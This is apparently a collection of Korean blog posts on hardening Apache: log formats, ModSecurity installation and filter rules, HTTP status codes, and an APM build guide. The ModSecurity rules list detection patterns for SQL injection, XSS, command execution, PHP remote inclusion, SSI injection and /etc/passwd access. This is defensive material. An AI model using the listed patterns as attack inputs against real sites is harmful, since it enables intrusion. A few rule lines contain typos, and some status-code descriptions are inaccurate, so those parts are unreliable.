② 클라이언트의 identity(%l) 클라이언트 컴퓨터의 identd에 의해 결정된 클라이언트 identity. IdentityCheck가 On으로 설정되어 있지 않으면 이 정보를 찾지 않는다(이 설정으로 서버가 느려질 수 있고, identity 정보도 신뢰하기 어렵기 때문에 가능하면 사용하지 않도 록 한다).
③ HTTP 인증을 받은 사용자의 ID(%u) 인증을 받지 못한 경우에(상태 코드가 401인 경우) 이값은 부정확하다. 또한 요청받은 문서가 인증을 요구하지 않는 경우에는 -로 표시된다.
④ 서버가 요청 처리를 끝낸 시간(%t) [일/월/년:시:분:초 지역]
⑤ 클라이언트의 요청 내용(\ %r\ ) 사용한 메소드, 요청한 자원, 사용한 프로토콜
⑥ 상태코드(%>s) 서버가 클라이언트에게 보낸 상태 코드. 2XX(성공), 3XX (redirection), 4XX(클라이언트에 의한 에러), 5XX(서버에 의한 에러). 상세한 상태 코드는 부록을 참고한다.
⑦ 클라이언트에게 전송된 컨텐츠의 크기 response header 부분은 포함되지 않는다. 클라이언트에게 전송된 컨텐츠가 없으면 이 값은 -로 표시된다.

나) 다음은 Combined Log Format :

● httpd.conf 파일에서 다음과 같이 설정할 수 있다.
LogFormat "%h %l %u %t \"%r\" %>s %b \"% {Referer}i\" \"%{User-agnet}i\"" combined
CustomLog log/acces_log combined

● 이 포맷은 두 개의 필드를 제외하면 Common Log Format과 동일하다. 추가된 필드는 퍼센트 지시자 %{header}i를 사용하고 있는데, header는 HTTP request header 중 일부가 될 수 있다. 이 포맷에 의해 생성된 로그는 다음과 같다.
172.16.5.100 - jun [ 08/Apr/2003:16:03:43 + 0900] "GET / php HTTP/1.1"301 
313 "-" "Mozilla/4.0 (compatible: MSIE 6.0: Windows NT 5,0)"
① 클라이언트가 요청한 자원이 include되었거나 링크된 페이지(\ %{Referer}I\) 위 예제에 서는 그러한 페이지가 없음
② 클라이언트 브라우저에 대한 정보(\ %{User-agent}I\)

다) 로그 설정시 유의사항

● 아파치는 대부분의 경우 root권한으로 로깅을 수행하는데, 시스템사용자는 아파치의 로그 파일을 다른 중요 시스템 파일에 대한 링크로 대체하여, root 권한으로 다른 중요 시스템 파일의 내용을 변경할 수 있다.
● 따라서, 일반사용자는 로그가 저장되는 디렉토리에 대해 쓰기 권한이 없도록 설정해야 한다.
● 또한 로그 파일에 클라이언트가 제공하는 데이터가 들어갈 경우 악의적인 클라이언트가 제어 문자 등을 로그 파일에 삽입하여 웹 서버를 침해할 수 있다. 특히 클라이언트가 웹 서비스를 통해서 아파치의 로그 파일을 볼 수 없도록 해야 한다.


ModSecurity를 이용한 아파치 웹서버 보안

□ ModSecurity의 주요 특징

o 요청(request) 필터링
- 클라이언트로부터 웹요청이 들어올 때 웹서버 또는 다른 모듈들이 처리하기 전에
ModSecurity가 요청 내용을 분석하여 사전에 필터링한다.
o 우회 방지 기술
- 경로와 파라미터를 분석하기 전에 정규화시켜 우회 공격을 차단한다.
- 즉, “//”, “\/”, “.”, “%00” 등 우회 공격용 스트링을 제거하고, 인코딩된 URL을 디코딩한다.
o HTTP 프로토콜 이해
- 엔진이 HTTP 프로토콜을 이해하기 때문에 아주 전문적이고 미세한 필터링을 수행할 수 있다.
o POST 페이로드(payload) 분석
- GET 방식 뿐만 아니라 POST 메소드를 사용해서 전송되는 컨텐츠도 가로채어 분석할 수 있다.

o 감사 로깅
- POST를 포함하여 모든 요청의 모든 상세한 부분들까지 추후 분석을 위해서 로깅될 수 있다.
- MosSecurity에서 차단기능을 비활성화시킨 후, 강력한 로깅 기능만으로 침입탐지 시스템 역할을
수행할 수 있도록 한다.
o HTTPS 필터링
- 엔진은 웹서버에 임베디드되어 있기 때문에 복호화 한 후에 요청 데이터에 접근하여 HTTPS
를 통한 공격도 필터링할 수 있다.

□ ModSecurity 설치 환경
먼저 본 고에서는 다음 환경에서 ModSecurity를 설치하여 테스트하였다.
o 플랫폼 : Linux 2.6.8-2-686-smp
o 웹서버 : Apache 2.2.0
o ModSecurity 소스코드 디렉토리 : /usr/local/modsecurity-apache-1.9.2
o 아파치 소스코드 디렉토리 : /usr/local/httpd-2.2.0
o 아파치 웹서버 홈 디렉토리 : /usr/local/apache2

□ ModSecurity 프로그램 다운로드
설치하고자 하는 안정화 버전인 1.9.2는 다음 사이트에서 다운로드 받을 수 있다.
http://www.modsecurity.org/download/modsecurity-apache-1.9.2.tar.gz
다운로드 받은 후 다음의 명령으로 압축 및 패키징을 해제한다.
# tar xvzf modsecurity-apache-1.9.2.tar.gz
# mv modsecurity-apache-1.9.2 /usr/local/

# cd modsecurity-apache-1.9.2

# ls -al
drwxr-xr-x 6 1000 1000 4096 2006-01-17 03:36 .
drwxrwsr-x 12 root staff 4096 2006-02-22 16:07 ..

drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache1
drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache2
-rw-r--r-- 1 1000 1000 26381 2006-01-16 21:31 CHANGES
drwxr-xr-x 3 1000 1000 4096 2006-01-17 03:37 doc
-rw-r--r-- 1 1000 1000 1811 2006-01-09 21:33 httpd.conf.example-minimal
-rw-r--r-- 1 1000 1000 881 2005-11-01 22:52 INSTALL
-rw-r--r-- 1 1000 1000 17989 2003-05-29 05:36 LICENSE
-rw-r--r-- 1 1000 1000 994 2006-01-09 23:45 README
drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 util

total 84

□ ModSecurity 프로그램 설치

▷ DSO 방식 설치
DSO 방식은 아파치 웹서버의 재설치 과정없이 기존에 운영되고 있는 아파치 웹서버에 모듈을
동적으로 추가하는 방식이므로 기존에 아파치 웹서버를 이미 운영 중인 기관의 경우 DSO 방식을
선택하는 것을 권장한다. DSO 방식으로 설치하는 것은 아파치 버전에 상관없이 다음과 같이 설치
할 수 있다.
① apxs를 이용하여 ModSecurity 모듈을 컴파일하고, 설치하고, 설정을 자동으로 변경한다.
# /usr/local/apache2/bin/apxs -cia /usr/local/modsecurity-apache-1.9.2/apache2/mod_security.c
위의 명령은 mod_security.c를 컴파일 하고(-c 옵션), 공유객체를 웹서버 modules 디렉토리에
설치하고(-i 옵션), 아파치 httpd.conf 설정파일에 적절한 LoadModule 줄을 추가(-a 옵션)한다.
참고로 apxs는 아파치 웹서버의 확장모듈을 컴파일하고 설치하는 도구로써, 여러 소스와 오브
젝트파일을 LoadModule 지시어로 실행 중인 아파치 서버로 읽어 들일 수 있는 동적공유객체
(DSO)를 만든다. 위의 결과로 modules 디렉토리에 mod_security.so가 생성되고 httpd.conf 파
일에 “LoadModule security_module modules/mod_security.so” 라인이 추가된다.
② 위의 과정으로 모듈이 정상적으로 설치되었는지 확인한다.
linux-web:/usr/local/apache2/bin# ./httpd -l
Compiled in modules:
core.c
...
mod_security.c
...
mod_so.c

③ 아파치 웹서버를 재구동한다.
# <apache-home>/bin/apachectl stop
# <apache-home>/bin/apachectl start
여기까지 ModSecurity의 모듈 설치가 끝났으나, 아직 룰(Rule)에 대한 정의를 하지 않았으므로
공격을 방어하지는 못한다. 이를 구동하기 위해서는 다음 장의 ModSecurity 활성화 및 Rule 정의를
위한 환경설정을 살펴보도록 하자.

▷ 소스 컴파일을 통한 설치
DSO 방식이 아닌 정적으로 소스 컴파일 될 경우에는 ModSecurity 모듈이 웹서버의 body에 포
함되게 된다. 이 방법은 DSO 방식에 비해 다소 실행 속도가 빠르지만, 아파치 웹서버를 다시 새
롭게 설치해야 하고 설치가 약간 복잡한 단점이 있다.
또한, 아파치 버전에 따라 설치를 위한 사전 설정을 달리 해 주어야 한다.
<아파치 1.x의 경우>
$ cd <apache1-source>
$ cp <modsecurity-source>/apache1/mod_security.c ./src/modules/extra
$ ./configure --activate-module=src/modules/extra/mod_security -–enable-module=security
<아파치 2.x의 경우>
$ cd <apache2-source>
$ cp <modsecurity-source>/apache2/mod_security.c ./modules/proxy
$ ./configure -enable-security --with-module=proxy:mod_security.c
아파치 1.x 또는 아파치 2.x에서 위의 과정을 거친 후에, 일반적인 아파치 컴파일과 설치 과정을
거치면 된다.
make
make install
/usr/local/apache2/bin/apachectl start
DSO 방식과는 달리 소스 컴파일을 통한 설치시에는 httpd.conf 파일에 아무런 내용이 추가되지 않는
다. DSO 방식과 마찬가지로 ModSecurity를 활성화시키기 위해서는 다음 장의 ModSecurity 활성화 및
Rule 정의를 위한 환경설정이 필요하다.

□ ModSecurity Rule 설정 예
##### Configuration #####
SecFilterEngine On
SecFilterScanPost On
SecFilterScanOutput Off
SecFilterOutputMimeTypes "(null) text/html text/plain"

##### Validation #####
SecFilterCheckURLEncoding On
SecUploadDir /tmp
SecUploadKeepFiles Off
SecFilterCheckUnicodeEncoding Off
SecFilterForceByteRange 1 255
SecFilterDefaultAction "log,deny,status:403"

##### Logging #####
SecFilterDebugLog logs/modsec_debug.log
SecFilterDebugLevel 1
SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit.log

##### Hardening #####
# Body를 가진 GET 또는 HEAD 요청 차단(공격 가능성 높음)
SecFilterSelective REQUEST_METHOD "^(GET|HEAD)$" chain
SecFilterSelective HTTP_Content-Length "!^$"
SecFilterSelective SERVER_PROTOCOL "!^HTTP/(0\.9|1\.0|1\.1)$"
# Content-Length가 없는 POST 요청 차단
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"
SecFilterSelective HTTP_Transfer-Encoding "!^$"

##### General #####

SecFilterSelective HTTP_Host|HTTP_User-Agent|HTTP_Accept "^$"
SecFilterSelective HTTP_User-Agent "(libwhisker|paros|wget|libwww|perl|curl|java)"

##### SQL Injection Attacks #####

##### (PHPmyAdmin 같은 DB 설정 프로그램 사용시 관련 설정 변경 해야 함) #####
SecFilterSignatureAction "log,deny,msg:'SQL Injection attack'"
SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS "create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk[[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--'"
SecFilterSelective ARGS "'.+--"
SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"

##### XSS Attacks #####

SecFilterSignatureAction "log,deny,msg:'XSS attack'"
SecFilterSelective ARGS "<script"
SecFilterSelective ARGS "javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"

##### Command Execution #####
SecFilterSignatureAction "log,deny,msg:'Command execution attack'"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget)"

##### PHP Attacks #####

##### (이부분을 적용하면 쇼핑몰 결제가 안된다.) #####
SecFilterSignatureAction "log,deny,msg:'PHP Injection Attacks'"
SecFilterSelective ARGS_VALUES "^http:/"
SecFilterSelective ARGS_NAMES "(^globals\[|^globals$)"


#############################
# < 웹호스팅 업체용 >
#
# 이 Rule은 다수의 웹사이트가 운영되는 웹호스팅 서버에서 활용가능한 최소공격차단 Rule입니다.
# 이 Rule을 참고하여 각 웹사이트에 적합한 Rule로 커스트마이징하시기 바랍니다.
# Rule 커스트마이징 후에는 공격탐지시 차단하도록 SecFilterDefaultAction 에서 
# pass를 deny로 수정하시기 바랍니다.
#
#############################


#############################
# 1. ModSecurity 동작 유/무
# SecFilterEngine On | Off
# On : ModSecurity 기능 활성화
# Off : ModSecurity 기능 비활성화

SecFilterEngine On


#############################
# 2. 기본 설정
# 기본적으로 룰이 매치 될 경우 행위(Action) 지정
# SecFilterDefaultAction "행위"
# 행위 : deny, pass, allow, status:apache error code
#
# 룰 커스트마이징 완료 후 공격탐지시 차단하도록 SecFilterDefaultAction 에서 pass를 deny로 수정 필요
#

# SecFilterDefaultAction "deny,log,status:406"
SecFilterDefaultAction "pass,log"

# 아파치의 기본 로그보다 자세한 공격관련 로그를 기록
SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit.log

# 웹서버의 헤더 정보 변경
SecServerSignature "Microsoft-IIS/5.0"

# POST 메소드의 Payload를 점검
SecFilterScanPost On

# 인코딩된 문자를 일반 텍스트 문자로 변환
# 가령, 16진수로 인코딩된 %AB 형태를 일반 텍스트로 변환함
SecFilterCheckURLEncoding On

# SecFilterCheckUnicodeEncoding UTF-8 전용 서버일 경우 On
SecFilterCheckUnicodeEncoding Off


#############################
# 3. PHP 인젝션 취약 공격 방지(제로보드 대상 공격 포함)
SecFilterSignatureAction "msg:'PHP Injection Attacks'"
SecFilterSelective ARGS_VALUES "^http:/"
SecFilterSelective REQUEST_URI "/include/write\.php\?dir=(ftp|http):"
SecFilterSelective REQUEST_URI "/include/print_category\.php\?setup=1&dir=(ftp|http):"
SecFilterSelective REQUEST_URI "/zero_vote/error\.php\?dir=(ftp|http):"
SecFilterSelective REQUEST_URI "/outlogin\.php\?_zb_path=(ftp|http):"
SecFilterSelective REQUEST_URI "filename=\|"
SecFilterSelective REQUEST_URI "check_user_id\.php\?user_id=<script>alert(document\.cookie)"


#############################
# 4. 명령어 실행 방지
SecFilterSignatureAction "msg:'Command execution attack'"
SecFilterSelective ARGS_VALUES ";[[:space:]]*(ls|id|pwd|wget|cd)"


#############################
# 5. XSS 공격 방지
SecFilterSignatureAction "msg:'XSS attack'"
SecFilterSelective ARGS "alert[[:space:]]*\("
SecFilterSelective ARGS "&#[[0-9a-fA-F]]{2}"
SecFilterSelective ARGS "eval[[:space:]]*\("
SecFilterSelective ARGS "onKeyUp"
SecFilterSelective ARGS "\x5cx[0-9a-fA-F]{2}"
SecFilterSelective ARGS "fromCharCode"
SecFilterSelective ARGS "&\{.+\}"
SecFilterSelective ARGS "<.+>"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "http-equiv"
SecFilterSelective ARGS "-->"
SecFilterSelective ARGS "expression[[:space:]]*\("
SecFilterSelective ARGS "url[[:space:]]*\("
SecFilterSelective ARGS "innerHTML"
SecFilterSelective ARGS "document\.body"
SecFilterSelective ARGS "document\.cookie"
SecFilterSelective ARGS "document\.location"
SecFilterSelective ARGS "document\.write"
SecFilterSelective ARGS "style[[:space:]]*="
SecFilterSelective ARGS "dynsrc"
SecFilterSelective ARGS_VALUES "jsessionid"
SecFilterSelective ARGS_VALUES "phpsessid"


#############################
# 6. SSI 인젝션 관련 공격 차단
SecFilterSignatureAction "msg:'SSI injection attack'"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*exec"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*cmd"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*echo"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*include"
SecFilterSelective ARGS "<!--[[:space:]]*#[[:space:]]*printenv"


#############################
# 7. 스패머 프로그램 봇
SecFilterSignatureAction "msg:'Robot attack'"
SecFilterSelective HTTP_USER_AGENT "WebBandit"
SecFilterSelective HTTP_USER_AGENT "WEBMOLE"
SecFilterSelective HTTP_USER_AGENT "Telesoft*"
SecFilterSelective HTTP_USER_AGENT "WebEMailExtractor"
SecFilterSelective HTTP_USER_AGENT "CherryPicker*"
SecFilterSelective HTTP_USER_AGENT "NICErsPRO"
SecFilterSelective HTTP_USER_AGENT "Advanced Email Extractor*"
SecFilterSelective HTTP_USER_AGENT "EmailSiphon"
SecFilterSelective HTTP_USER_AGENT "Extractorpro"
SecFilterSelective HTTP_USER_AGENT "webbandit"
SecFilterSelective HTTP_USER_AGENT "EmailCollector"
SecFilterSelective HTTP_USER_AGENT "WebEMailExtrac*"
SecFilterSelective HTTP_USER_AGENT "EmailWolf"
SecFilterSelective HTTP_USER_AGENT "Microsoft URL Control"
SecFilterSelective HTTP_USER_AGENT "^Microsoft URL"


###########################################
# 8. 검색엔진 Recon/Google 이용한 해킹 방지
SecFilterSignatureAction "msg:'Recon/Google attack'"
SecFilterSelective HTTP_Referer  "Powered by Gravity Board"
SecFilterSelective HTTP_Referer  "Powered by SilverNews"
SecFilterSelective HTTP_Referer  "Powered.*PHPBB.*2\.0\.\ inurl\:"
SecFilterSelective HTTP_Referer  "PHPFreeNews inurl\:Admin\.php"
SecFilterSelective HTTP_Referer  "inurl.*/cgi-bin/query"
SecFilterSelective HTTP_Referer  "inurl.*tiki-edit_submission\.php"
SecFilterSelective HTTP_Referer  "inurl.*wps_shop\.cgi"
SecFilterSelective HTTP_Referer  "inurl.*edit_blog\.php.*filetype\:php"
SecFilterSelective HTTP_Referer  "inurl.*passwd.txt.*wwwboard.*webadmin"
SecFilterSelective HTTP_Referer  "inurl.*admin\.mdb"
SecFilterSelective HTTP_Referer  "filetype:sql \x28\x22passwd values.*password values.*pass values"
SecFilterSelective HTTP_Referer  "filetype.*blt.*buddylist"
SecFilterSelective HTTP_Referer  "File Upload Manager v1\.3.*rename to"
SecFilterSelective HTTP_Referer  "filetype\x3Aphp HAXPLORER .*Server Files Browser"
SecFilterSelective HTTP_Referer  "inurl.*passlist\.txt"
SecFilterSelective HTTP_Referer  "wwwboard WebAdmininurl\x3Apasswd\.txt wwwboard\x7Cwebadmin"
SecFilterSelective HTTP_Referer  "Enter ip.*inurl\x3A\x22php-ping\.php\x22"
SecFilterSelective HTTP_Referer  "intitle\.*PHP Shell.*Enable stderr.*filetype\.php"
SecFilterSelective HTTP_Referer  "inurl\.*install.*install\.php"
SecFilterSelective HTTP_Referer  "Powered by PHPFM.*filetype\.php -username"
SecFilterSelective HTTP_Referer  "inurl\.*phpSysInfo.*created by phpsysinfo"
SecFilterSelective HTTP_Referer  "SquirrelMail version 1\.4\.4.*inurl:src ext\.php"
SecFilterSelective HTTP_Referer  "inurl\.*webutil\.pl"


#############################
# 9. PHPMyAdmin 관련 공격 취약점 적용
# "subform" 로컬 파일 포함 취약점
SecFilterSignatureAction "msg:'PHPMyAdmin attack'"
SecFilterSelective REQUEST_URI "/libraries/grab_globals\.lib\.php" chain
SecFilterSelective ARG_subform "(/|\.\.|(http|https|ftp)\:/)"
SecFilterSelective REQUEST_URI "/libraries/grab_globals\.lib\.php" chain
SecFilter "usesubform.*=.*&usesubform.*=.*&subform.*(/|\.\.|(http|https|ftp)\:/)"

# 경로 취약점
SecFilterSelective REQUEST_URI "/css/phpmyadmin\.css\.php\?GLOBALS\[cfg\]\[ThemePath\]=/etc"
SecFilterSelective REQUEST_URI "/phpMyAdmin/css/phpmyadmin\.css\.php\?GLOBALS\[cfg\]\[ThemePath\]=(/|.*\.\./)"

# 문자열변환 파라미터 크로스사이트 스크립팅 취약점
SecFilterSelective REQUEST_URI "/phpmyadmin/index\.php\?pma_username=*&pma_password=*&server=.*&lang=.*&convcharset=.*((javascript|script|about|applet|activex|chrome)*\>|(http|https|ftp)\:/)"

# Export.PHP 파일 공개 취약점
SecFilterSelective SCRIPT_FILENAME "export\.php$" chain
SecFilterSelective ARG_what "\.\."

# XSS 취약점
SecFilterSelective ARG_HTTP_HOST "(<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>|onmouseover=|javascript\:)"
SecFilterSelective REQUEST_URI "libraries/auth/cookie\.auth\.lib\.php" chain
SecFilter "<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>"
SecFilterSelective REQUEST_URI "/error\.php" chain
SecFilterSelective ARG_error "<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>"

# register_globals Emulation "import_blacklist" 조작 취약점
SecFilterSelective REQUEST_URI "/grab_globals\.php" chain
SecFilterSelective ARG_import_blacklist "(<[[:space:]]*(script|about|applet|activex|chrome)*>.*(script|about|applet|activex|chrome)[[:space:]]*>|(http|https|ftp)\:/)"


#############################
# 10. 기타 공격 방지
# 허용하는 HTTP 리퀘스트 타입 (HTTP 0.9, 1.0 혹은 1.1) 이외 차단
# SecFilterSelective SERVER_PROTOCOL "!^HTTP/(0\.9|1\.0|1\.1)$" "msg:'Not allowed HTTP Protocol'"

# /etc/passwd 파일 접근 차단
SecFilterSelective THE_REQUEST "/etc/passwd"

# 웹을 이용한 SMTP redirect 금지
SecFilterSelective THE_REQUEST ^(http|https)\:/.+:25

# Directory Traversal 공격 차단
# SecFilter "\.\./"


#############################
# 11. SQL Injection 공격 차단
# PHPMyAdmin을 통한 정상적인 접속요청이 SQL Injection 공격으로 오탐될 수 있음
# PHPMyAdmin을 사용하고 있지 않을 경우 아래의 코맨트(#)를 제거하고 사용 권고
# SecFilterSignatureAction "msg:'SQL injection attack'"
# SecFilterSelective ARGS "delete[[:space:]]+from"
# SecFilterSelective ARGS "drop[[:space:]]+database"
# SecFilterSelective ARGS "drop[[:space:]]+table"
# SecFilterSelective ARGS "drop[[:space:]]+column"
# SecFilterSelective ARGS "drop[[:space:]]+procedure"
# SecFilterSelective ARGS "create[[:space:]]+table"
# SecFilterSelective ARGS "update.+set.+="
# SecFilterSelective ARGS "insert[[:space:]]+into.+values"
# SecFilterSelective ARGS "select.+from"
# SecFilterSelective ARGS "bulk[[:space:]]+insert"
# SecFilterSelective ARGS "union.+select"
# SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
# SecFilterSelective ARGS "alter[[:space:]]+table"
# SecFilterSelective ARGS "or 1=1--'"
# SecFilterSelective ARGS "'.+--"
# SecFilterSelective ARGS "into[[:space:]]+outfile"
# SecFilterSelective ARGS "load[[:space:]]+data
# SecFilterSelective ARGS "/\*.+\*/"

신고

인터넷 에러코드 모음

100 : Continue(계속)
101 : Switching protocols (통신규약 전환)
200 : OK, 에러없이 전송 성공
201 : Created, POST 명령 실행 및 성공
202 : Accepted, 서버가 클라이언트 명령을 받음
203 : Non-authoritative information, 서버가 클라이언트 요구중 일부만 전송
204 : No content, 클라언트 요구을 처리했으나 전송할 데이터가 없음
205 : Reset content (내용 원위치)
206 : Partial content (부분내용)
300 : Multiple choices, 최근에 옮겨진 데이터를 요청
301 : Moved permanently, 요구한 데이터를 변경된 임시 URL에서 찾았음
302 : Moved temporarily, 요구한 데이터가 변경된 URL에 있음을 명시
303 : See other, 요구한 데이터를 변경하지 않았기 때문에 문제가 있음
304 : Not modified (수정안됨)
305 : Use proxy (프록시 사용)
400 : Bad request, 클라이언트의 잘못된 요청으로 처리할 수 없음
401 : Unauthorized, 클라이언트의 인증 실패
402 : Payment required, 예약됨
403 : Forbidden, 접근이 거부된 문서를 요청함
404 : Not found, 문서를 찾을 수 없음 (특히 이게 많죠.)
405 : Method not allowed, 리소스를 허용안함
406 : Not acceptable, 허용할 수 없음
407 : Proxy authentication required, 프록시 인증 필요
408 : Request timeout, 요청시간이 지남
409 : Conflict (충돌)
410 : Gone, 영구적으로 사용할 수 없음
411 : Length required (필요조건 너무 김)
412 : Precondition failed, 전체조건 실패
413 : Request entity too large, (본건 요구사항 너무 큼)
414 : Request-URI too long, URL이 너무 김
415 : Unsupported media type (인증 안된 미디어 유형)
500 : Internal server error, 내부서버 오류(잘못된 스크립트 실행시)
501 : Not implemented, 클라이언트에서 서버가 수행할 수 없는 행동을 요구함
502 : Bad gateway, 서버의 과부하 상태
503 : Service unavailable, 외부 서비스가 죽었거나 현재 멈춤 상태
504 : Gateway timeout (접속장치 설정시간지남
505 : HTTP version not supported (http 버전 지원안됨)

신고

ZSS132 Dual Core 장비에 CentOS 64bit용 설치후 APM 설치 메뉴얼입니다.

이번에는 모든 APM 버전을 최신 버전으로 하고, GD 관련 역시 RPM으로 설치했습니다.



요구 사항

OS 설치된 서버 및 네트워크

apache 2.2.4

mysql 5.0.33

php 5.2.0





apache 2.2.4

./configure --prefix=/usr/local/apache --enable-mods-shared=all --enable-ssl=shared --enable-ssl && make && make install



전체 모듈 설치 및 SSL 관련 추가 설치





mysql -5.0.33

useradd mysql

./configure --prefix=/usr/local/mysql --with-charset=euckr && make && make install

mysql default charset 한글로 셋팅



my.ini 설정





GD 설치



yum -y install zlib zlib-devel freetype freetype-devel freetype-utils gd gd-devel libjpeg libjpeg-devel libpng libpng-devel


ln -s /usr/include/freetype2/freetype/ /usr/include/freetype2/freetype/
ln -s /usr/lib64/libjpeg.so /usr/lib/libjpeg.so
ln -s /usr/lib64/libpng.so /usr/lib/libpng.so
rm -f /usr/local/lib/libpng.so
ln -s /usr/lib64/libpng.so /usr/local/lib/libpng.so



64 bit용 OS에 설치된 라이브러리는 별도에 디렉토리에 생성됨에 주의





PHP 설치



./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache/bin/apxs --with-mysql=/usr/local/mysql/ --with-mysqli=/usr/local/mysql/bin/mysql_config --with-jpeg-dir=/usr/lib --with-gif-dir=/usr/lib --with-png-dir=/usr/lib --with-gif-dir=/usr/lib --with-zlib-dir=/usr/lib --with-gd --with-freetype-dir=/usr/local/include/freetype2 --with-language=korean --with-charset=euc_kr --with-regex=php --enable-gd-native-ttf --enable-ftp --enable-sockets --with-curl=/usr/include/curl --with-openssl --enable-module=so --disable-debug --with-zlib --with-ttf --enable-safe-mode --enable-magic-quotes --enable-bcmath --enable-dio --enable-sysvsem --enable-sysvshm --enable-wddx --enable-pic --enable-inline-optimization --enable-mbstring --enable-mbregex --enable-mbstr-enc-trans --enable-track-vars=yes --enable-dl --enable-gd-imgstrttf --enable-exif



make && make install



--with-mysqli 의 경우 mysql 신규 기능 사용을 위한 옵션

png.h 관련 에러 발생시

./configure 파일에서 $GD_PNG_DIR/include/png.h 부분 절대 경로로 변경



php.ini 복사 및 apache 재컴파일



httpd.conf 설정

-완료- 
신고

아파치 웹 서버의 보안 설정

웹 서버로서 가장 많이 사용되는 아파치를 이용할 때, 주 설정 파일인 'httpd.conf'에서 몇 가지 보안 설정을 해 주는 것만으로도 웹 보안을 상당히 강화할 수 있다. 권장할만한 몇 가지 대표적인 설정을 살펴보도록 하자.

일반적인 웹 서버는 서비스 포트로 1023 이하 포트인 80번을 사용하기 때문에 반드시 루트 권한으로 프로세스를 가동해야 한다. 그러나 일단 80번을 리슨한 다음에 실제 서비스를 제공하는 것은 루트가 아닌 루트가 포크한 일반 사용자 권한으로 서비스하도록 해야 한다. 만약 그렇지 않은 경우 루트 권한으로 HTTPD가 작동하게 된다. 이런 경우, 이를테면 악의적인 CGI 스크립트를 업로드해 실행하면, 루트 권한으로 작동하게 되므로 심각한 보안 문제를 유발할 수 있게 될 것이다. 따라서 아파치나 노바디 같은 일반 사용자 권한으로 포크해 가동하도록 한다.

·ServerTokens Prod


다음은 모 업체의 웹 서버로 텔넷으로 80번에 접속 후 HEAD 메소드로 접속 시도한 결과다. 웹 서버는 유닉스 계열의 1.3.29이고 모듈로는 PHP 4.3.4를 사용하고 있다는 것을 알 수 있다.


# telnet www.xxxxxx.co.kr 80
Trying 210.xxx.xx.xx...
Connected to www.xxxxxxx.co.kr


여기에서 데몬의 버전이 무엇이라는 것은 현재 해당 버전이 어떤 취약성을 가지고 있고, 어떤 공격을 하면 위험하다는 것을 알려주는 것과 다를 바 없다. 버전만 안다면 이런 정보는 인터넷에서 쉽게 조회가 가능하기 때문이다. 따라서 굳이 외부에 버전 정보와 같은 민감한 정보를 유출할 필요가 없으며, 가급적 보이지 않도록 속이거나 다른 정보로 보이도록 위조하는 것이 좋다.


이를 위해서 아파치에서는 'ServerTokens'이라는 지시자를 제공하고 있다. 가능한 옵션은 Prod, Min, OS, Full 등이 있는데, 아무런 옵션을 지정하지 않았을 경우에는 모든 정보가 보이는 Full이 된다. OS->Min->Prod로 갈수록 더 적은 정보를 보여주므로 당연히 Prod를 사용하는 것을 권장한다. 만약 Prod를 사용할 경우에는 과 같이 아파치라는 정보만 보인다.


만약 아파치라는 정보도 보이지 않도록 하거나 다른 정보로 보이도록 하려면, 아파치 컴파일 시 소스를 수정하거나 모드보안(modsecurity)이라는 보안 모듈을 사용해 설정을 위조하는 방법도 있다. 다음과 같이 설정할 경우 아파치라고 보이지 않고 지정한 문자열로 보인다.


SecServerSignature "Microsoft-IIS/5.0"


/이라는 사이트에서 제공하는 아리랑(arirang)이라는 툴을 이용하면 많은 IP 대역을 빠르게 스캔해 각 IP에서 어떤 웹 서버 버전을 사용하는지 보여주므로 각자 자신의 네트워크를 스캔해 보기 바란다.

·메소드 제한 설정

<Directory />
<LimitExcept GET POST>
       Order allow,deny
       deny from all
</LimitExcept>
</Directory>


이 설정은 서버에서 제공되는 메소드를 제한하는 설정을 보여주고 있다. 기본적으로 웹 서버에서는 많은 메소드를 제공하는데, 보안 관점에서 불필요한 메소드를 허용할 필요가 없으므로 반드시 필요한 몇 개의 필수 메소드만 제공하는 것이 좋을 것이다.


일반적으로, GET과 POST, HEAD만 제공하면 되므로, 이렇게 설정하면 모든 디렉토리에 대해 GET(HEAD도 포함됨)과 POST 메소드를 제공하며, 이외의 메소드는 제공하지 않게 된다.

·접근 통제 설정


만약 특정 디렉토리 이하에 대해서, 특정한 IP에서만 접근을 허용하고자 할 때는 다음과 같이 설정할 수 있다.


<Directory /home/ionthenet/>
  Order deny, allow
  Deny from all
  Allow from 192.168.1 
</Directory>


